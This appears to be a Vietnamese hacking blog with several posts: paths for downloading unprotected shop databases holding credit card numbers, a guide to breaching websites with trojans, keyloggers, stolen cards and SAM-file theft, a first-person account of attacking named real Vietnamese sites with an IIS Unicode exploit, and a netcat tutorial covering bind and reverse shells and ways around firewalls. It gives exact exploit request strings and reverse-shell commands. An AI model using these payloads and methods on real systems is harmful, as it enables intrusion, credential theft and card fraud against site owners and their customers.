Thứ Ba, 8 tháng 10, 2013

on Leave a Comment

SalesCart Database Storage Insecurity

 

SalesCart Database Storage Insecurity :

Tổng quát : Lỗi này thực chất là dữ liệu của các chương trình mua bán không được bảo mật , mã hóa hay cất giữ cẩn thận => Bạn hoàn toàn có thể lấy chúng một cách dễ dàng
.
Lưu ý : Đôi khi với thực tế , 1 số link có thể khác đi . Không phải lúc nào cũng hoàn toàn đúng.
Dữ liệu có khi bao gồm cả CRD ( Credit Card ) nên mọi việc phải qua proxy ( nếu không có proxy thì có thể ra dịch vụ ...)
Khai thác :
Hãy sử dụng 1 trong những link sau :
www.victim.com/fpdb/shop.mdb
www.victim.com/shoponline/fpdb/shop.mdb
www.victim.com/database/metacart.mdb
www.victim.com/shopping/database/metacart.mdb
www.victim.com/shop/database/metacart.mdb
www.victim.com/metacart/database/metacart.mdb
www.victim.com/mcartfree/database/metacart.mdb
www.victim.com/ASP/cart/database/metacart.mdb
--------------------
Có nghĩa là database không hề có 1 chút bảo mật nào cả . Download vô tư . Trong database có thể bao gồm : name, surname, address, e-mail, phone number, credit card
number, and company name . Bạn có thể khai thác dữ liệu này . Nhưng trong thực tế , mọi việc không phải lúc nào cũng suôn sẽ cả . Bạn hãy tưởng tượng mỗi server có một cấu trúc riêng . ví dụ như đường dẫn không phải lúc nào cũng là fpdb/... hay như những link trên . Hãy tận dụng lỗi và thử từng cái một , nhiều khi là www.victim.com/muaban/fpdb/shop.mdb thì sao ? Cứ thử đi .. rồi bạn sẽ khai thác được nhiều

SalesCart Database Storage Insecurity

on Leave a Comment

Lam sao de hack mot trang web

 


Đây là các bước một hacker sử dụng để Hack vào một server, kiến thức chỉ thế này thôi, nhưng Hack thành công hay không còn tùy vào người hack.
Làm sao để Hack một trang web :
Đây không còn là chuyện bạn đi kiếm trang web bị dính một lỗi để Hack nữa, bây giờ nó là chuyện khác, khi Hack vào một trang web bạn nhằm vào trước, có thể bạn sẽ tốn 1 giờ, một ngày hay vài tháng, không thể nào nói trước được. Và nên  nhớ Hack là một nghệ thuật, phải biết dùng cái đầu hơn là dùng đôi tay.
1/ Tìm thông tin về trang Web đó :
Đây gọi là bước FootPrinting tức là thu thập thông tin của mục tiêu. Bạn dùng lệnh Whois để tìm thông tin về tên miền đó, nếu là người đàng hoành thì chắc chắn họ sẽ “khai báo” đầy đủ thông tin của mình, Ví dụ khi thử whois thằng http://www.ttvnonline.com/ thì bạn sẽ nhận được gì : Vũ Vương Thắng + đầy đủ thông tin của trang này (mail + địa chỉ nhà …), bạn còn chần chờ gì mà không gửi ngay cho nó một con Trojan keyloger, nhưng dễ hiểu quá, tôi khuyên bạn nên tự viết một con Trojan cho riêng mình, chứ không nên xài đồ có sẵn, như thế Victim sẽ dễ dàng phát hiện được Trojan mà bạn cài và dễ dàng xoá bỏ. Nhưng đôi khi gặp vài trang “Cà chớn” giống như http://www.vnlogic.net/ thì tên khai toàn fuck u không L
2/ Trong khi chờ đợi con keyloger của bạn làm việc, có thể nó gửi thông tin của Vũ Vương Thắng về hay đã bị die, bạn bắt tay vào việc quét server, trong phần trước bạn đã có thông tin về host của trang Web mình cần hack. Đầu tiên là quét cổng, quét xem server nó mở cổng nào, nếu may mắn bạn sẽ phát hiện thằng này đã bị ai hack rồi và một chú trojan đang mở rộng cửa đón bạn vào, nhưng nếu không có cũng chẳng sao cả, bạn sẽ phát hiện được thằng server chạy những cổng nào, từ đ1o phát hiện ra nó đang chạy những service nào. Một số server bạn có thể dùng như sau : http://www.vnn.vn/cgi-bin/test-cgi/*?*  , mỗi dịch vụ của server sẽ bay ra như moi goi J
3/ Mỗi service đều có một vài lỗi riêng và chưa chắc thằng Admin nó fix hết, bạn đã biết server nó chạy những service nào rồi ở bước trên, bạn còn chần chờ gì nữa mà không thử hết lỗi của từng service (exploit, password defaut …), nếu dùng lỗi do chính bạn páht hiện và chưa công bố lên mạng nữa thì càng tuyệt, càng dễ thành công. Vào bước này tôi khuyên bạn không nên dùng chương trình quét lỗi, nó sẽ quét từ những lỗi từ thời Napoleon I đến giờ, và với tốc độ chậm rì ở VN, cái cơ bản dai ra nhu co co và chưa chắc thành công
4/ Sau mỗi lúc nó dùng remote exploit của bạn không thành công, server vẫn là một bức tường thật vững chắc không thể nào vượt qua được, bạn hãy nghĩ ngay đến việc làm sao kiếm cho được một accout trong server đó đã (để dùng local exploit). Bạn bắt đầu tìm hiểu về cơ cấu tổ chức của trang web. Ví dụ khi Hack http://www.ttvnonline.com,/ tôi gửi trojan đến cho Vũ Vương Thắng (Admin của TTVN Online), nhưng đều đã bị phát hiện, tôi nghĩ ngay đến chuyện gửi trojan cho những tên cấp thấp hơn, Ví dụ như trong trang http://www.ttvnonline.com/ , ngoài Vũ Vương Thắng, nó còn giao pass FTP cho một số Moderator nữa, thế là bạn gửi cho tất cả cho Moderatorerator và đợi, trong trường hợp này tỷ lệ thành công dễ hơn nhiều bước 1, vì trong đống Moderator chắc cũng có thằng bất cẩn. Hay Ví dụ khi bạn tấn công server của một côn ty, sau khi gửi trojan cho admin mà không dính, bạn có thể gửi trojan cho tay giám đốc kinh doanh nào đó chẳng hạn, chuyên ngành của nó là kinh doanh và nó sẽ không có nhiều đề phòng, cho dù nó yên tâm là nó đã có cài chương trình antivirus, như khi đã nói trong bài Trojan, chương trình antivirus chức năng chính của nó là chống virus, còn những con trojan bị phát hiện chỉ là những con trojan đã nổi tiếng lắm lắm. Ngoài việc dùng keyloger, bạn cũng có thể tự thử tài đoán password của mình. Thường thì những người không giỏi về vi tính thì đặt password có liên quan đến những thông tin của mình (Ví dụ tên vợ con, tên mình, kênh TV ưa thícch …), bước này cũng khá quan trọng và bạn hãy coi phim “Cá Kiếm“ để học tập sư phụ  . Vẫn không thành công L, nếu thằng đó dùng share host thì việc kiếm được một cái account khoẻ re, dùng ngay cái credit card do bạn chôm được từ trường đăng ký ngay một cái accout, và thằng reseller cha dại mà từ chối tặng bạn account để xài đâu. Có account trong server đó rồi rất tiện, bạn thử dùng Local exploit để đoạt quyền root, thường thì mấy thằng admin không fix Local exploit, nó chỉ quan tâm từ bên ngoài thôi, còn chuyện nội bộ nó không quan tâm lắm. Bây giờ giống như bước 3, thử tất cả các lỗi Local mà bạn biết để thử đoạt quyền root.
5/ Nếu Website mà bạn muốn Hack bị lỗi PHP thì đầu tiên bạn hãy vào Start --> programs --> MS-DOS Prompt và gõ lệnh : Ping www.têntrangweb.com và Enter để biết được IP của Website đó. Sau đó bạn gõ :
http://IP Website/php/php.exe?c:\winnt\repair\sam
Nó sẽ Download file *.SAM về cho bạn. Đó là file chứa Password tuy nhiên đã được mã hoá. Bạn hãy dùng chương trình L0phtCrack (Download trong mục Hack Tools) để giải mã nó
Thế là xong
--------------------

Lam sao de hack mot trang web

on Leave a Comment

Kinh nghiem khi Hack Windows 2000 Server IIS 5.0

 


Kinh nghiệm khi Hack Windows 2000 Server IIS 5.0 :
Qua nghiên cứu cách upload/download file trên một số Server khi tìm cách hack website http://www.cantho1260.net/http://www.cantho.gov.vn/ sử dụng Windows 2000 Server chưa patch lỗi thì tôi nhận thấy có một số kinh nghiệm sau đây xin viết vài dòng để chia sẻ cùng với anh em và nếu có thiếu xót xin bổ sung cho. Để Upload netcat lên dùng TFTP thì đơn giản, nhưng trước tiên chúng ta phải cài TFTP server trên system (203.162.30.219). Sau đó cho thi hành các lệnh sau đây trên system của Victim bằng cách dùng một số lỗi như System Traversal của Unicode Exploit chẳng hạn:
GET /scripts/..%c0%af…/winnt/system32/tftp.exe?”-1”+203.162.30.219+GET+nc.exe C:\nc.exe HTTP/1.0
Ví dụ trên sẽ trỏ đến C:\ vì đây là thư mục mà ai cũng có thể Write vào được không có Permit phải là Admin hay không. Nếu Netcat đã có sẵn bạn sẽ nhận được một thông báo là “tftp.exe: can’t write to C:\nc.exe”, nhưng nếu thành công thì Browser sẽ trả về lỗi “HTTP 502 Gateway Error” và một Message là: “ Transfer successful: 59392 byte in x second, 59392 bytes/3s.” Dùng FTP thì hơi nhọc công hơn vì phải qua một trung gian, hãy tạo một file tên gì cũng được trên máy Victim để dùng FTP script với command là –s: [filename] sau đó Script sẽ giúp cho FTP Clien connect đến máy chúng ta để download netcat về local của Host. Trước khi tạo file này chúng ta chắc chắn là sẽ bị cản trở. Và để vượt qua thì có một mẹo nhỏ là hãy copy đổi tên file cmd.exe thành một tên khác trước đã.
GET /scripts/..%c0%af.../winnt/system32/cmd.exe?+/c+copy+c:\winnt\system32\cmd.exe+c:\aclatinh.exe HTTP/1.0
OK! File cmd.exe bây giờ đã được copy sang một bản khác có tên là aclatinh.exe, bây giờ chúng ta lại phải ghi vào C:\ vì như đã nói là đây là nơi mà bất cứ ai cũng có thể write vào. Bây giờ phải tạo một file FTP script bằng cách dùng lệnh echo. Sau đây là một nội dung của một file Script, chúng ta sẽ chọn tên file là ftpaclatinh và username của FTP là anonymous, password là a@a.com, FTP server là 192.168.2.31.
GET /scripts/...%0c%af../aclatinh.exe?+/c+echo+anonymous>C:\ftpaclatinh&&echo+a@a.com>C:\ftpaclatinh&echo+bin>>C:\ftpaclatinh&&echo+get+test.txt+C:\nc.exe>>C:\ftpacla tinh&&echo+Bye>>C:\ftpaclatinh&&ftp+s:C:\ftpaclatinh+192.168.234.31&&del+C:\ftpaclatinh
OK! Sau khi thực hiện script trên nó sẽ copy netcat đến C:\ trên Server và xóa luôn file script ftpaclatinh để tránh bị phát hiện. Nhưng lưu ý là từ dòng thứ 2 phải dùng “>>”để bố sung thêm vào ftpaclatinh chứ không phải là “>”.
_ Tạo file bằng lệnh echo: Dĩ nhiên là nếu FTP và TFTP không có sẵn, trường hợp này chỉ xảy ra đối với một số admin có tính “tào tháo” hay bị Block bởi firewall chẳng hạn thì chúng ta phải dùng lệnh Echo để gõ từng dòng lệnh vào ví dụ như là nội dung của file cmd.asp chẳng hạn thì cách làm như sau: để tạo file thì gõ vào “echo nộidung > c:\tenfile & vol” và để thêm nội dung vào file trên thì gõ vào: echo nộidung >> c:\tenfile & vol và cứ thế tuy lâu nhưng còn hơn không làm được gì. Và một hacker có tên là Relof Temmingh cũng có viết sẵn một Scritp cho Unicode Exploit dưới dạng ngôn ngữ Perl có tên là “cgidecodeloader.pl” cũng dùng cách echo và gián tiếp để tạo ra 2 file là upload.asp và upload.inc cho phép upload dựa trên Browser thuận tiện (và ông ta cũng có viết một Script là “unicodeexcute.pl” cho phép hacker thi hành lệnh từ xa). Dùng unicodeloder.pl thì trước tiên phải chắc chắn là hai file upload.asp và upload.inc phải có cùng trong thư mục chứa file unicodeloader.pl và cần xác định thư mục nào của Server cho phép Writable và excutable đã thường thì nó là C:\intetpub\scripts, là default khi install Windows2000.
C:\>Perl unicodeloader.pl
Usage: unicodeloader IP:port webroot
C:\>Perl unicodeloader.pl cantho1260.net:80 C:\inetpub\scripts
Creating uploading webpage on victim.com on port 80.
The webroot is C:\inetpub\scripts.
testing directory /scripts/..%c0%af../winnt/system32/cmd.exe?/c
farmer brown directory: c:\inetpub\scripts
'-au' is not recognized as an internal or external command,
operable program or batch file.
sensepost.exe found on system
uploading ASP section:
..............
uploading the INC section: (this may take a while)
.................................................................................
upload page created.
Now simply surf to caesars/upload.asp and enjoy.
Files will be uploaded to C:\inetpub\scripts
Và chúng ta hãy khảo xác cách nó làm việc. Trước tiên nó sẽ copy cmd.exe thành một file có tên là “sensepost.exe” đến thư mục đã xác định là Webroot, ở đây là C:\Intetpub\scripts\ sau đó nó bypass qua cmd.exe gián tiếp (“>”) qua exploit . và sensepost.exe được dùng để echo và gián tiếp 2 file upload.asp va upload.inc từng dòng mã một trong hai file để vào thư mục Wroot (ở đây là C:\Inetpub\script) và bây giờ thì hai file trên đã có mặt trên Server chỉ cần trỏ Browser đến đó để upload cmd.asp và ntdaddy.asp mà thôi.
http://www.cantho1260.net/scripts/upload.asp
http://www.cantho1260.net/scripts/cmdasp.asp
Khi đã Upload Netcat (nc.exe) rồi thì chúng ta sẽ cho netcat listen trên máy của mình:
C:\nc.exe –l –p 2002
Và sau đó dùng lại dùng cmd để shovel Netcat listenning trở về máy ta bằng cách thi hành Netcat trên Server thông qua Cmd.asp qua Browser:
C:\inetpub\scripts\nc.exe –v –e cmd.exe cantho1260.net 2002
Tuy thế nhưng tôi chỉ kịp download về mỗi một file Access chứa account prepaid thôi thì Server nó đã Fix lại rồi. Đến nay thì file đó cũng bị Broke hư mất khi defrag đĩa cứng! Uổng quá!
Bài viết của Aclatinh

Kinh nghiem khi Hack Windows 2000 Server IIS 5.0

on Leave a Comment

Huong dan cach tim Website bi loi

 


Hướng dẫn cách tìm Website bị lỗi :
Tôi sẽ hướng dẫn các bạn cách tìm các Website bị lỗi, đa số cách thông dụng nhất là vào các trang Search như http://www.google.com, http://www.av.com ... rồi đánh "powered by ...." (ví dụ : nếu tìm trang Forum UBB 1.0.3 thì đánh "powered by UBB 1.0.3"). Nhưng như thế thường không hiệu quả và nó cho ra rất nhiều trang chẳng liên quan gì đến trang mình cần tìm. Bây giờ tôi chỉ cho các bạn tìm kiếm trang bị lỗi trên http://www.google.com.
Bình thường một chương trình trên mạng đều có một đoạn string đặc biệt trong URL, ví dụ với lỗi Hosting Controller thì sẽ có đoạn "/admin hay /advadmin hay /hosting" hay với forum UBB thì có "cgi-bin/ultimatebb.cgi?", khi chỉ đánh vậy không nó sẽ liệt kê ra cả trang nói về Hosting Controller lẫn trang đang sử dụng Hosting Controller, như thế kết quả ra nhiều nhưng không hiệu quả. Bây giờ các bạn thêm chữ allinurl: trước đoạn string đặc biệt cần kiếm, thì những tran Web tìm kiếm được chắc chắn sẽ có chuỗi cần tìm.
Ví dụ :  Khi tôi kiếm server dùng Hosting Controller, tôi vào http://www.google.com và đánh "allinurl:/advadmin" (không có ngoặc kép) thì nó chỉ liệt kê ra những trang có URL có dạng : http://tentrangweb.com/advadmin.
Nhân tiện tôi cũng chỉ các bạn cách tìm các file trên http://www.google.com
Muốn tìm các file trên http://www.google.com thì bạn thêm chữ type file: trước tên file cần tìm trên các chuyên khu web.
Ví dụ : bạn muốn tìm file mdb (đây là file chứa Password của các Website, dùng Access để mở) thì bạn vào http://www.google.com và đánh type file:mdb
           bạn muốn tìm file SAM (đây là file chứa Password của Windows NT, dùng L0phtCrack để Crack) thì bạn vào http://www.google.com và đánh type file:SAM
--------------------

Huong dan cach tim Website bi loi

on Leave a Comment

Huong dan su dung Netcat

 

Hướng dẫn sử dụng Netcat

1. Giới thiệu

Netcat là một công cụ không thể thiếu được nếu bạn muốn hack một website nào đó. Vì vậy bạn cần biết một chút về Netcat;)


2. Biên dịch

Đối với bản Netcat cho Linux, bạn phải biên dịch nó trước khi sử dụng.

- hiệu chỉnh file netcat.c bằng vi: vi netcat.c
+ tìm dòng res_init(); trong main() và thêm vào trước 2 dấu "/": // res_init();
+ thêm 2 dòng sau vào phần #define (nằm ở đầu file):
#define GAPING_SECURITY_HOLE
#define TELNET
- biên dịch: make linux
- chạy thử: ./nc -h
- nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại biến môi trường PATH trong file ~/.bashrc, thêm vào ":."
  PATH=/sbin:/usr/sbin:...:.

Bản Netcat cho Win không cần phải compile vì đã có sẵn file nhị phân nc.exe. Chỉ vậy giải nén và chạy là xong.


3. Các tùy chọn của Netcat

Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số:

C:\>nc -h
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

* Cú pháp:

- chế độ kết nối    : nc [-tùy_chọn] tên_máy cổng1[-cổng2]
- chế độ lắng nghe: nc -l -p cổng [-tùy_chọn] [tên_máy] [cổng]

* Một số tùy chọn:

-d tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế độ steath(không hiển thị trên thanh Taskbar)
-e prog thi hành chương trình prog, thường dùng trong chế độ lắng nghe
-h gọi hướng dẫn
-i secs trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi
-l đặt Netcat vào chế độ lắng nghe để chờ các kết nối đến
-L buộc Netcat "cố" lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối.
-n chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 192.168.16.7, Netcat sẽ không thẩm vấn DNS
-o file ghi nhật kí vào file
-p port chỉ định cổng port
-r yêu cầu Netcat chọn cổng ngẫu nhiên(random)
-s addr giả mạo địa chỉ IP nguồn là addr
-t không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử dụng netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến telnetd.
-u dùng UDP(mặc định netcat dùng TCP)
-v hiển thị chi tiết các thông tin về kết nối hiện tại. -vv sẽ hiển thị thông tin chi tiết hơn nữa.
-w secs đặt thời gian timeout cho mỗi kết nối là secs mili giây
-z chế độ zero I/O, thường được sử dụng khi scan port

Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080




4. Các ví dụ:

4.1 Chộp banner của web server

Ví dụ: nc đến 172.16.84.2, cổng 80

C:\>nc 172.16.84.2 80
HEAD / HTTP/1.0 (tại đây bạn gõ Enter 2 lần)
HTTP/1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1
Connection: close
Content-Type: text/html

Để biết thông tin chi tiết về kết nối, bạn có thể dùng -v(-vv sẽ cho biết các thông tin chi tiết hơn nữa)

C:\>nc -vv 172.16.84.1 80
172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [172.16.84.1] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache/1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: "0-cec-3899eaea"
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text/html
sent 17, rcvd 245: NOTSOCK

Nếu muốn ghi nhật kí, hãy dùng -o <tên_file>. Ví dụ:

nc -vv -o nhat_ki.log 172.16.84.2 80

- xem file nhat_ki.log

< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK.
< 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F
< 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54
< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap
< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win
< 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi
< 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb
< 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM
< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: "0-cec-
< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea"..Accep
< 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes.
< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length:
< 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio
< 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten
< 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm
< 000000f0 6c 0d 0a 0d 0a # l....

dấu < nghĩa là server gởi đến netcat
dấu > nghĩa là netcat gởi đến server

4.2 Quét cổng

- chạy netcat với tùy chọn -z. Để quét cổng nhanh hơn, hãy dùng -n vì netcat sẽ không cần thấm vấn DNS. Ví dụ để scan các cổng TCP(1->500) của host 172.16.106.1

[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
(UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.106.1] 80 (?) open
(UNKNOWN) [172.16.106.1] 23 (?) open

- nếu bạn cần scan các cổng UDP, dùng -u

[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 1025 (?) open
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open

4.3 Biến Netcat thành một trojan

- trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn -l(listen) và -p port để xác định số hiệu cổng cần lắng nghe, -e <tên_chương_trình_cần_chạy> để yêu cầu netcat thi hành 1 chương trình khi có 1 kết nối đến, thường là shell lệnh cmd.exe(đối với NT) hoặc /bin/sh(đối với Unix). Ví dụ:

E:\>nc -nvv -l -p 8080 -e cmd.exe
listening on [any] 8080 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159
sent 0, rcvd 0: unknown socket error

- trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy nạn nhân trên cổng đã định, chẳng hạn như 8080

C:\>nc -nvv 172.16.84.2 8080
(UNKNOWN) [172.16.84.2] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E:\>cd test
cd test
E:\test>dir /w
dir /w
Volume in drive E has no label.
Volume Serial Number is B465-452F
Directory of E:\test
[.] [..] head.log NETUSERS.EXE NetView.exe
ntcrash.zip password.txt pwdump.exe
6 File(s) 262,499 bytes
2 Dir(s) 191,488,000 bytes free
C:\test>exit
exit
sent 20, rcvd 450: NOTSOCK

Như bạn thấy, chúng ta đã có thể làm gì mà chẳng được với máy của nạn nhân qua shell lệnh này?! Tuy nhiên, sau kết nối trên, netcat trên máy nạn nhân cũng đóng luôn. Để yêu cầu netcat lắng nghe trở lại sau mỗi kết nối, bạn dùng -L thay cho -l. Lưu ý: -L chỉ có thể áp dụng cho bản Netcat for Windows, không áp dụng cho bản chạy trên Linux.

E:\>nc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080 ...

- Riêng đối với Netcat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng nghe. Chỉ cần chỉ định địa chỉ nguồn là -s <địa_chỉ_ip_của_máy_này>. Ví dụ:

netstat -a
...
TCP nan_nhan:domain nan_nhan:0 LISTENING <- cổng 53 đang lắng nghe
...
E:\>nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 -> lắng nghe ngay trên cổng 53
listening on [172.16.84.1] 53 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163

- Trên Windows NT, để đặt Netcat ở chế độ lắng nghe, không cần phải có quyền Administrator, chỉ cần login vào với 1 username bình thường khởi động Netcat là xong.

- Chú ý: bạn không thể chạy netcat với ... -u -e cmd.exe... hoặc ...-u -e /bin/sh... vì netcat sẽ không làm việc đúng. Nếu bạn muốn có một UDP shell trên Unix, hãy dùng udpshell thay cho netcat.




5. Kĩ thuật tiên tiến

5.1 Telnet nghịch chuuyển

- dùng telnet để nối cửa số netcat đang lắng nghe, kế đó đưa lệnh từ cửa sổ này vào luồng telnet nghịch chuyển, và gởi kết quả vào cửa sổ kia. Ví dụ:

- trên máy dùng để tấn công(172.16.84.1), mở 2 cửa sổ netcat lần lượt lắng nghe trên cổng 80 và 25:

+ cửa sổ Netcat (1)

C:\>nc -nvv -l -p 80
listennng on [any] 80 ...
connect to [172.16.84.1] from <UNKNOWN> [172.16.84.2] 1055
pwd
ls -la
_

+ cửa sổ Netcat (2)

C:\>nc -nvv -l -p 25
listening on [any] 25 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.2] 1056
/
total 171
drwxr-xr-x 17 root root 4096 Feb 5 16:15 .
drwxr-xr-x 17 root root 4096 Feb 5 16:15 ..
drwxr-xr-x 2 root root 4096 Feb 5 08:55 b ( ²?n
drwxr-xr-x 3 root root 4096 Feb 5 14:19 boot
drwxr-xr-x 13 root root 106496 Feb 5 14:18 dev
drwxr-xr-x 37 root root 4096 Feb 5 14:23 et = ²?
drwxr-xr-x 6 root root 4096 Feb 5 08:58 home
drwxr-xr-x 6 root root 4096 Feb 5 08:50 l ( ²?b
drwxr-xr-x 2 root root 7168 De = ²? 31 1969 mnt
drwxr-xr-x 4 root root 4096 Feb 5 16:18 n = ²?
drwxr-xr-x 2 root root 4096 Aug 23 12:03 opt
dr-xr-xr-x 61 root root 0 Feb 5 09:18 pro = ²?
drwx------ 12 root root 4096 Feb 5 16:24 root
drwxr-xr-x 2 root root 4096 Feb 5 08:55 sb ( ²?n
drwxrwxrwt 9 root root 4096 Feb 5 16:25 tmp
drwxr-xr-x 13 root root 4096 Feb 5 08:42 usr
drwxr-xr-x 18 root root 4096 Feb 5 08:52 var

- trên máy tính nạn nhân(172.16.84.2), telnet nghịch chuyển đến máy dùng để tấn công(172.16.84.1), dùng /bin/sh để kết xuất:

[root@nan_nhan /]# telnet 172.16.84.1 80 | /bin/sh | telnet 172.16.84.1 25
/bin/sh: Trying: command not found
/bin/sh: Connected: command not found
/bin/sh: Escape: command not found
Trying 172.16.84.1...
Connected to 172.16.84.1.
Escape character is '^]'.
_

Telnet trên máy nạn nhân sẽ chuyển tất cả những gì mà chúng ta gõ vào trong cửa sổ Netcat (1) - cổng 80 kết xuất sang cho /bin/sh thi hành. Kết quả của /bin/sh được kết xuất trở lại cho máy tính dùng để tấn công trên cửa sổ Netcat (2) - cổng 25. Nhiệm vụ của bạn là chỉ cần gõ lệnh vào cửa sổ Netcat (1) và xem kết quả trong cửa sổ Netcat (2).

Sở dĩ tôi chọn cổng 80 và 25 vì các cổng này thường không bị firewalls hoặc filters lọc.

5.2 Tạo kênh sau

Cũng tương tự như telnet nghịch chuyển.

- trên máy tính dùng để tấn công, bạn đặt Netcat lắng nghe trên cổng 80 vì cổng này sẽ không bị firewall chặn:

C:\>nc -nvv -l -p 80
listennng on [any] 80 ...

- tiếp theo, từ shell lệnh của máy nạn nhân, bạn nối Netcat đến máy dùng để tấn công với tùy chọn -e để đổ shell:

E:\>nc -e cmd.exe 172.16.84.1 80

Một khi máy nạn nhân thi hành chuổi lệnh trên, kênh sau nc sẽ được tạo, "nhét" shell (trong trường hợp này là cmd.exe) trở vào nc. Kể từ đây, chúng ta đã có 1 shell lệnh ảo.

C:\>nc -nvv -l -p 80
listenning pm [any] 80 ...
connect to [172.16.84.1] from [UNKNOWN] [172.16.84.3] 1035
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E:\>

5.3 Đổi hướng cổng

Bạn có thể dùng tunnel.pl hoặc fpipe.exe. Hãy xem ví dụ sau:

- chạy nc trên cổng bất kì:

E:\>nc -nvv -L -p 1234 -e cmd.exe
listening on [any] 1234 ...

- chạy tunnel hoặc fpipe để đổi hướng cổng

C:\>perl tunnel.pl --port=53 --tohost=127.0.0.1 --toport=1234
C:\>fpipe -l 53 -r 1234 127.0.0.1

tunnel, fpipe sẽ lắng nghe trên cổng 53, sau đó chuyển tiếp kết nối đến 127.0.0.1:1024, đây là cổng mà netcat đang lắng nghe.

Đổi hướng cổng là một cách để đi vòng qua firewalls.




6. Kết luận:

Netcat thật mạnh.




Back


Huong dan su dung Netcat

on Leave a Comment

Rỗi rãi dịch bài này chơi How Hackers

 

How Hackers/Crackers Break Into Your System ?
By Najmi
Trong vài năm trở lại đây thì vấn đề an toàn trên mạng thu hút được rất nhiều sự quan tâm. Sự hỗn độn và thay đổi chóng mặt của internet là yếu tố chính là cho người dùng và các doanh nghiệp phải tự mình tăng cường khả năng bảo mật cho máy tính và hệ thống mạng của họ.
Cách đây 10 năm, những người đã cài đặt các hệ thống máy chủ có rất ít hiểu biết và kỹ năng về bảo mật.  Và ngay cả hiện nay, trong số những người vẫn thường cài đặt hệ thống máy chủ vẫn còn rất nhiều thiếu kinh nghiệm về bảo mật.
Những người dung bình thường được trấn an bởi những thong báo từ các công ty lớn về các phương pháp bảo mật của họ. Nhưng không thể chối cãi được sự thật rằng hang tháng chúng ta lại có thêm những thong tin rắng hacker lại đột nhập vào đâu đó và lấy cắp thông tin.
